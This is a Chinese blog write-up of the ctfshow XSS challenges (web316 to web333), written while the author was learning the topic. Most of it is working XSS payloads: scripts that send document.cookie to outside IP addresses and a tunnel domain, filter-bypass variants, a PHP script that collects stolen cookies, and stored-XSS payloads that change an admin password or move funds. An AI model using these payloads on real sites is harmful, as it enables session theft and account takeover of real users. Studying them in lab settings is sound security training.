额,怎么说呢,对xss理解不深刻,虽然做了XSS-LAB,但是感觉不会用,看了群主的视频,知道了原因,用群主的话来说就是,X的是自己。。。

这个文章写得比较潦草。。。

准备一个带nc的工具;

无vps

"""

牛啊牛啊!群主之前发了一个无公网IP反弹shell的视频,学到了学到了,牛啊牛啊。太牛了,群主顶呱呱。

"""

这里以web321做一个例子:

准备:kali虚拟机,花生壳

先进行穿透,接着测试一下本地能不能连通什么的。我虚拟机的虚拟网卡需要重启一下才能够连通虚拟机。如果本地不能连通,那么就反弹不了。当然这里不需要反弹shell,只需要外带就行。

先进行本地测试:windows(本机)curl 域名,kali侦听8181端口(穿透哪个端口,就侦听哪一个)

可以看到kali能够接受到windows这边的请求。

接着就可以在题目中进行外带cookie了:

这就外带成功了。大师傅牛啊牛啊。

这种方式外带,需要等10秒

有vps就不多说了,看一看防火墙开端口,或者是安全组开端口没,关闭防火墙之后也可能别安全组挡下来(又有的叫安全策略组,叫法无所谓)。

再看看nc工具是不是需要更新一下(加一个--v参数,如果指定的参数和显示的参数不一样,就说明nc有点小毛病了)。或者是多重启几次。。。

我之前能踩的坑都踩了一遍,一天下来一个题都没做。xss全是x的自己,呜呜呜。

搜寻一波能够XSS的先

外带

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script> <script>location.href='http://118.31.168.198:39543/'+document.cookie</script> <script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script> <input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)"> <iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe> <body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

web 316

需要生成链接,拿到管理员的cookie;提交构造的连接,后台bot每隔10S会点击一次链接。

要注意,拿cookie要拿管理员的cookie,或者说是拿后台bot的cookie,而不是拿自己的cookie;

按照上面的那个步骤做就好了

web 317

说的是过滤了xss,所以只能够用自己的vps了

web 320

过滤空格

用tab代替,在hackbar中写入%09,利用hackbar进行urldecode

用/**/代替

web 321

不知道过滤了啥

paylaod:

<body	onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

web 322

不知道过滤了啥,同上

web 323-6

<body/**/onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

感觉是,姿势越骚,越不容易被过滤

看了一下,Y4爷的博客,

324过滤;

325过滤.,?但是没有感觉喃?

web 327

存储型xss;发送者和接受者都用的admin,剩余的随便,内容是:<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

拿到了flag,但是怎么就拿到了呢???

看了视频,大师傅说的是,发送者是admin就行了

web 328

在本地,不知道为啥nc拿不到数据了,所以采用写接受脚本的方式来接受cookie

<?php
$data=$_GET['data'];
$myfile=fopen('xss_flag.txt',"w") or die("unable to open file!");
fwrite($myfile,$data);
echo "done";
?>

唔,按理来讲,将花生壳的端口修改为80端口(kali用的是PHP7.3和Apache),也能够接受信息,但是虚拟机出了点问题,所以就用了vps;脚本还是不变;

解题:

注册用户名随便设置:

密码如下:

<body onload="window.open('http://121.41.2.26/x.php?data=/'+document.cookie)"></body>

或者

<script>window.location.href='http://121.41.2.26/x.php?data='+document.cookie</script>

接着登录:查看xss_flag.txt,拿到admin的cookie

将cookie修改为admin的cookie

开启抓包,刷新界面,一步一步forward,即可看到flag

web 329

不会,思路是:执行js代码,实现页面内容的外带

web 330

想的是登录管理员的账号,由于没有密码

思路是:修改管理员密码,以管理员身份进行登录

解题:

注册:

账户名为<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>

密码:1

接着用账户<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>登录一次,登出;

登录管理员账号:admin 密码:3(抓包防止跳转)

web 331

试了一下账号密码等地方的注入,都不行,所以抓包看一下,发现是利用post方式进行已交,那么就构造post提交的的方式。

大师傅是构造的:(从源代码中的js文件中找到的一个ajax提交)

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

bfengj师傅利用js发送了一个http请求:

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>

web 332

登录检查一遍,发现是post传参,所以依旧似是用331的payload来进行了一次提交,结果不行。于是看了大师傅的视频。

???转账-10000

随便注册登录一下,接着在转账界面,收款用户是admin,然后付款-10000,接着购买

web 333

盲猜是转账加过滤了332的情况。

注册账户:12,密码随便

注册账户: <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>,密码随便

随后登录账户12,即可购买flag。

/api/amount.php <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>

总结

虽然说题是做完了,同样也了解了反射型和存储型XSS的攻击方式。反射型是生成了链接同时被后台点击,存储型这里就不太清楚了,感觉是生成了被反复执行的代码存放到了后台。同时每一次访问该界面就会触发一次。

因为做题时是看的大师傅的视频和bfengj师傅的博客,学习到了很多。

同时也被两位师傅的技术栈给震撼到。一路过来都是看的各种师傅们的博客,在做题的时候也学习到了各种方法。

所以有事没事,看看ctfshow

ctfshow_web入门 xss的更多相关文章

  1. 初级安全入门——XSS注入的原理与利用

    XSS的简单介绍 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者 ...

  2. XSS扫盲到漏洞挖掘上手

    复习xss ,也总结一下XSS基础的点到进阶的知识  目录 0x01 XSS扫盲入门 0x02 XSS payload构造 0x03 XSS payload变形进阶   0x01 XSS扫盲入门 XS ...

  3. web安全相关知识

    xss攻击入门 XSS攻击及防御 XSS的原理分析与解剖 浅谈CSRF攻击方式 利用HTTP-only Cookie缓解XSS之痛 SERVLET 2.5为COOKIE配置HTTPONLY属性 coo ...

  4. 你所不知道的 CSS 阴影技巧与细节 滚动视差?CSS 不在话下 神奇的选择器 :focus-within 当角色转换为面试官之后 NPOI 教程 - 3.2 打印相关设置 前端XSS相关整理 委托入门案例

    你所不知道的 CSS 阴影技巧与细节   关于 CSS 阴影,之前已经有写过一篇,box-shadow 与 filter:drop-shadow 详解及奇技淫巧,介绍了一些关于 box-shadow  ...

  5. 【Web安全入门】三个技巧教你玩转XSS漏洞

    XSS漏洞是Web应用程序中最常见的漏洞之一,想要入门Web安全的小伙伴,这个知识点是必学的. i春秋官网中有很多关于XSS漏洞的课程,新手小白可以去官网看课学习. 学习地址:https://www. ...

  6. Web安全之XSS 入门与介绍

    XSS的入门与介绍 跨站攻击 XSS全称跨站脚本(Cross Site Scripting),一种注入式攻击方式. XSS成因 对于用户输入没有严格控制而直接输出到页面 对非预期输入的信任 XSS的危 ...

  7. xss攻击入门

    xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意 ...

  8. Web安全入门笔记-XSS

    windows 10 360浏览器 0x00.概述 1.什么是 XSS Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击.攻击者通过在目标网站上注入恶意脚本,使 ...

  9. [前端web安全]XSS漏洞基础入门

    前言 XSS漏洞 Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS ...

  10. 【第三篇】ASP.NET MVC快速入门之安全策略(MVC5+EF6)

    目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...

随机推荐

  1. qtCreator警告解决

    警告 qtCreator Warning: QT_DEVICE_PIXEL_RATIO is deprecated. Instead use: QT_AUTO_SCREEN_SCALE_FACTOR ...

  2. day32 6 请求转发与重定向的区别、session会话对象 & cookie & 8 应用程序上下文对象ServletContext & 5 请求转发与jsp页面内置对象

    1 请求转发与重定向的区别 2 session与cookie的区别 3 过滤器与监听器的区别 4 web-inf目录 web-inf目录是安全目录,无法从客户端访问,只能通过(服务端的)servlet ...

  3. iNeuOS工业互联网操作系统,脚本化实现设备运行时长和效率计算与统计

    目       录 1.      概述... 2 2.      实时采集开停状态... 2 3.      增加虚拟设备... 2 4.      脚本统计和计算设备运行时长... 4 5.    ...

  4. vulnhub靶场之CONTAINME: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:CONTAINME: 1,下载地址:https://download.vulnhub.com/containme/THM-ContainMe-v ...

  5. 【论文解读】NIPS 2021-HSWA: Hierarchical Semantic-Visual Adaption for Zero-Shot Learning.(基于层次适应的零样本学习)

    作者:陈使明 华中科技大学

  6. xxl-job定时调度任务Java代码分析

    简介 用xxl-job做后台任务管理, 主要是快速解决定时任务的HA问题, 项目代码量不大, 功能精简, 没有特殊依赖. 因为产品中用到了这个项目, 上午花了点时间研究了一下运行机制. 把看到的记一下 ...

  7. 基于 Traefik 如何实现 path 末尾自动加斜杠?

    前言 Traefik 是一个现代的 HTTP 反向代理和负载均衡器,使部署微服务变得容易. Traefik 可以与现有的多种基础设施组件(Docker.Swarm 模式.Kubernetes.Mara ...

  8. 【转载】SQL Server FileStream 体验

    FileStream是SQL Server 2008提供的新特性,之前附件在SQL的存储一种是直接放数据库,一种是存储一个路径,附件单独放在磁盘上.前一种方法会使数据库空间更快变大,而且读写占用较多数 ...

  9. 迁移学习(JDDA) 《Joint domain alignment and discriminative feature learning for unsupervised deep domain adaptation》

    论文信息 论文标题:Joint domain alignment and discriminative feature learning for unsupervised deep domain ad ...

  10. Linux C 打印变量数组内容到一个文件中的方法。

    思路: 1.以追加的方式新建打开一个文件 2.将buf 按字节,先将整型转换为字符串,之后写入到文件中. memset(tmp_buf, 0, sizeof(tmp_buf)); sprintf(tm ...